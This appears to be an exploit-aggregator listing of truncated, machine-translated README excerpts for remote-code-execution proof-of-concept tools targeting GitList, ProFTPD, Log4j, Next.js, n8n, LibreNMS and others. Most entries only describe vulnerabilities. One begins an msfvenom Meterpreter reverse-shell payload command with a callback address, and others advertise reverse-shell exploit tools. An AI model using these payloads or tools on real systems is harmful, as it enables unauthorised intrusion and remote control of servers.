CVE-2018-1000533

ثغرة تنفيذ التعليمات البرمجية عن بُعد في GitList 0.6.0 CVE-2018-1000533 GitList هو عارض مستودعات Git حديث. في الإصدارات 0.6.0 وما دون من GitList، توجد ثغرة تتمثل في تمرير مدخلات لم يتم التحقق منها بشكل صحيح إلى دالة النظام، مما يسمح بتنفيذ أوامر عشوائية بصلاحيات مستخدم PHP. إعداد البيئة لتشغيل خا...

CVE-2026-5524-PoC

CVE-2026-5524 — تنفيذ أوامر عن بُعد RCE غير مصادَق عليه في Divi Form Builder مجموعة أدوات استغلال جماعي لـ CVE-2026-5524 ، وهي ثغرة رفع ملفات تعسفي غير مصادَق عليها في إضافة ووردبريس Divi Form Builder = 5.1.8 تؤدي إلى تنفيذ أوامر عن بُعد. الحقل| القيمة ---|--- CVE| 2026-5524 CVSS| 9.8 Critical...

ProFTPD_CVE-2015-3306

m4ud Exploit RCE per ProFTPD 1.3.5 CVE : 2015-3306! root@kitploit: ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help mostra questo messaggio di aiuto ed esci -l LHOST, --lhost=LHOST IP locale richiesto per Reverse Shell, -p LPORT, --lport=LPORT Porta richiesta per Reverse Shell, -t...

cve-2024-37762

Descrizione MachForm fino alla versione 21 è affetto da un upload di file non limitato con autenticazione che porta a esecuzione di codice remota. L'applicazione offre la possibilità di creare un modulo con funzionalità di upload di file. Mentre per impostazione predefinita i file accettati sono...

THM-MagnusBilling-CVE-2023-30258-Exploit

THM-MagnusBilling-CVE-2023-30258 ممتاز! دعنا نحوّل كتابتك الكاملة إلى إنجليزية احترافية، جاهزة لمستودع GitHub. كما قمت بتحسينها من حيث الوضوح وسهولة القراءة — إنها مادة بمستوى يليق بالملف الشخصي. ⸻ 🛡️ MagnusBilling RCE → Root CVE-2023-30258 📌 نظرة عامة • الهدف: 10.145.148.203 • المنصة: TryHackMe •...

CVE-2026-42945

CVE-2026-42945: NGINX Rift ثغرة تجاوز سعة المخزن المؤقت في الكومة نظرة عامة CVE-2026-42945 هي ثغرة خطيرة من نوع تجاوز سعة المخزن المؤقت في الكومة Heap Buffer Overflow في خادم NGINX، وتُعرف باسم "NGINX Rift". توجد هذه الثغرة في منطق معالجة توجيهي rewrite وset في NGINX. عند توفر شروط تكوين محددة،...

CVE-2025-55182-Dockerized

CVE-2025-55182 - إثبات مفهوم مُحوسب Dockerized يحتوي هذا المستودع على إثبات مفهوم مُحوسب Dockerized للثغرة الأمنية CVE-2025-55182، وهي ثغرة حرجة لتنفيذ الأكواد عن بُعد RCE في مكونات خادم React React Server Components - RSC والتي تؤثر على تطبيقات Next.js التي تستخدم إجراءات الخادم Server Actions...

EXPLOIT-CVE-2021-44228

CVE-2021-44228 — مختبر Log4Shell PoC إخلاء مسؤولية أُنشئ هذا المختبر حصريًا للأغراض التعليمية والبحثية في مجال الأمن. يحدث كل حركة المرور داخل شبكة Docker معزولة. لا تستخدم هذه المادة على أنظمة حقيقية أو دون إذن صريح. قد يكون سوء الاستخدام جريمة. استخدمه بمسؤولية. ما هي CVE-2021-44228؟ Log4Shell ...

CVE-2020-1493

CVE-2020-1493 Questa vulnerabilità si verifica in Outlook 2019 16.0.12624.20424 installato su Windows 10 1909 x64. Inoltre, questa vulnerabilità è una vulnerabilità zero click. TLDR; Ho trovato questo bug utilizzando il fuzzer winafl. Il bug si verifica durante l'analisi del file ms-tnef, allegat...

CVE-2025-32434

CVE-2025-32434: Vulnerabilità RCE in PyTorch - PoC Cos'è CVE-2025-32434? CVE-2025-32434 è una vulnerabilità critica di esecuzione di codice remoto RCE in PyTorch, una libreria Python ampiamente utilizzata per il deep learning e le reti neurali. Il problema principale La vulnerabilità risiede nell...

CVE-2024-38472

Creare un modulo Metasploit per l'esecuzione remota di codice RCE per la vulnerabilità SSRF CVE-2024-38472 in Apache HTTP Server su Windows è impegnativo perché SSRF di per sé non porta direttamente a RCE. Tuttavia, SSRF può spesso essere un passo verso il raggiungimento di RCE, specialmente se l...

CVE-2025-69985

CVE-2025-69985: استغلال لتجاوز المصادقة إلى تنفيذ التعليمات البرمجية عن بُعد RCE في FUXA ≤1.2.8 📌 نظرة عامة يحتوي هذا المستودع على إثبات المفهوم PoC وتوثيق تقني مفصل حول الثغرة الأمنية CVE-2025-69985 ، التي تؤثر على FUXA الإصدارات ≤1.2.8. تسمح هذه الثغرة لمهاجم غير مصادق بتنفيذ أوامر عشوائية على...

CVE-2021-41773

CVE-2021-41773 — استغلال اجتياز المسار وتنفيذ الأوامر عن بُعد في Apache تقرير عن غرفة "Modern Web Stacks" في TryHackMe، يركز على استغلال CVE-2021-41773 ، وهي ثغرة اجتياز مسار في خادم Apache HTTP Server 2.4.49 تؤدي إلى تنفيذ الأوامر عن بُعد عند تفعيل modcgi. ملخص...

CVE-2022-24500

Exploit RCE CVE-2022-24500 Vulnerabilità di esecuzione remota di codice in SMB di Windows Vulnerabilità: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 Passo 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -...

n8n-RCE-CVE-2025-68613

تحليل حقن التعبيرات في n8n لتنفيذ الأوامر عن بُعد RCE CVE-2025-68613 يحتوي هذا المستودع على تقرير المختبر الذي أعددته لاستغلال خدمة n8n الضعيفة المتاحة على منصة Hackviser. في هذه الدراسة، أوضحت كيف قمت بتنفيذ هروب من بيئة العزل sandbox escape باستخدام آلية تقييم التعبيرات في n8n وحصلت على وصول غي...

CVE-2025-55182

CVE-2025-55182 Strumento di exploit RCE per Next.js 🚀 Questo è uno strumento automatizzato di prova di concetto PoC per la vulnerabilità di esecuzione remota di codice RCE in Next.js React Server Components CVE-2025-55182. Lo strumento integra Shell interattiva , riconoscimento intelligente del...

vBulletin_Routestring-RCE

CVE-2019-16759vBulletinRoutestring-RCE-PoC In vBulletin wurde eine Schwachstelle entdeckt, die eine Remote-Codeausführung ermöglichen könnte, wenn eine bösartige POST-Anfrage an die verwundbare Anwendung gesendet wird. Die Schwachstelle ist auf einen Eingabevalidierungsfehler beim Parsen einer...

CVE-2026-33017-Exploit

Fireflow RCE एक्सप्लॉइट Langflow के लिए buildpublictmp एंडपॉइंट के माध्यम से रिमोट कोड निष्पादन। पब्लिक फ्लो बिल्ड एंडपॉइंट के माध्यम से एक्सप्लॉइट जो टार्गेट पर रिवर्स शेल निष्पादित करता है। आवश्यकताएँ Python 3.8+ httpx लाइब्रेरी इंस्टॉल करें: root@kitploit: pip install httpx उपयोग root@kitploit...

CVE-2025-55182

🚨 CVE-2025-55182 — React2Shell CVE-2025-55182 è una vulnerabilità critica di Esecuzione Remota di Codice RCE che colpisce React Server Components RSC. 📌 Panoramica Questa vulnerabilità consente a aggressori non autenticati di eseguire codice arbitrario su server vulnerabili. Il problema ha origin...

CVE-2026-55182 LibreNMS: Remote Code Execution by Signal Alert Transportation Module

LibreNMS is a network monitoring system. In versions from 21.6.0 up to 26.5.0, the Signal alert transport is vulnerable to command injection because the signal-cli path and the Recipient field of an alert transport entry are insufficiently escaped before being passed to an exec call. An...